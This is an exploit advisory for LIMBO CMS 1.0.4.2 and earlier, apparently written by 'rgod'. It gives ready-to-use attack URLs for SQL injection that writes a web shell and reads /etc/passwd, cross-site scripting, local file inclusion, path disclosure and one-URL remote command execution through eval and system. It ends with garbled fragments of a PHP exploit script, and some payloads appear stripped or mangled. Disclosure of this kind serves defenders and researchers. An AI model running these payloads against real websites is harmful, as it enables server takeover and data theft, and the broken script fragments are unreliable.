LIMBO CMS <= v1.0.4.2 _SERVER[] array overwrite / blind SQL injection / cross site scripting / local file inclusion / path disclosure / remote code/commands execution software: site: http://www.limbo-cms.com/ description: "Putting it in short Limbo is a Content Management System, which allows you to build and manage small dynamic PHP websites very easily. Limbo was inspired from Mambo and offers same overall functionality and usage. Main aim of limbo is to be small, secure, fast and be capable of running off simple text files." i) if register_globals is off you can overwrite _SERVER[] & _SERVER[REMOTE_ADDR] value this value is not properly sanitized before to be used in a sql query, so if register_globals off and Limbo uses Mysql to store data (there is an installation option to store data in files...) you can try blind sql commands injection, poc: http://[target]/[path]/index.php?_SERVER[]&_SERVER[REMOTE_ADDR]=999'UNION%20SELECT%20null,''%20INTO%20DUMPFILE%20'[full_application_path]shell.php'%20FROM%20lm_simple_stats/*&option=weblinks&Itemid=999/* query becomes: SELECT id,ip,date FROM lm_simple_stats WHERE id>1 AND ip = '999'UNION SELECT null,'' INTO DUMPFILE '[full_application_path]shell.php' FROM lm_simple_stats/*' (**** note: this works regardless of magic_quotes_gpc settings,because in includes/initglobal.php, we have: ... /* handle the magic quotes problem */ function strip_magic_quotes($arr) { foreach ($arr as $k => $v) { if (is_array($v)) { $arr[$k] = strip_magic_quotes($v); } else { $arr[$k] = stripslashes($v); } } return $arr; } if (get_magic_quotes_gpc()) { if (!empty($_GET)) { $_GET = strip_magic_quotes($_GET); } if (!empty($_POST)) { $_POST = strip_magic_quotes($_POST); } } ... *******) in new created shell.php we have: 0 so you can launch operating systems commands on target: http://[target]/[path]/shell.php?cmd=cat%20/etc/passwd ii) also you can disclose full application path: http://[target]/[path_to_limbo]/admin/classes/minixml/classes/doc.inc.php http://[target]/[path_to_limbo]/admin/classes/minixml/classes/element.inc.php http://[target]/[path_to_limbo]/admin/classes/minixml/classes/node.inc.php iii) xss: if ip address is showned at screen by simple stats module: http://[target]/[path]/?_SERVER[]=&_SERVER[REMOTE_ADDR]= iv) you can include an arbitrary php file from local resources: http://[target]/[path_to_limbo]/index2.php?option=frontpage/../../../../../../../../../../../script v) combinating i) & iv) you can execute operating systems commands by a single url, poc: http://[target]/[path_to_limbo]/index2.php?cmd=dir&_SERVER[]=&_SERVER[REMOTE_ADDR]='.system($_GET[cmd]).die('').'&option=wrapper&module[module]=1 explaination: some way, we are including classes/adodbt/read_table.php, where at line 136-140 we have: ... if (strlen ($searchstr) > 0) { // run search string if exist eval($searchstr); if ($f) { $rs[$i++] = $tmp; } } ... input passed to eval() becomes: if ($id > 1 && $ip == ''.system($_GET[cmd].die('').'' ) { $f = true; } else { $f = false; } this is my proof of concept exploit for v): this works wtih register_globals off & regardless of magic_quotes_gpc # # settings # # usage: launch from Apache, fill in requested fields, then go! # # # # Sun-Tzu: "Humble words and increased preparations are signs that the enemy # # is about to advance. Violent language and driving forward as if to the # # attack are signs that he will retreat. # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 5); ob_implicit_flush (1); echo'
Limbo <= 1.0.4.2 _SERVER[REMOTE_ADDR] remote cmmnds xctn
a script by rgod at http://rgod.altervista.org
"; for ($li=0; $li<=15; $li++) { echo " | ".$headeri[$li+$ki]." | "; } $ki=$ki+16; echo "||
0".$datai." | ";} else {echo "".$datai." | ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "   | "; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "".$headeri[$li]." | "; } echo "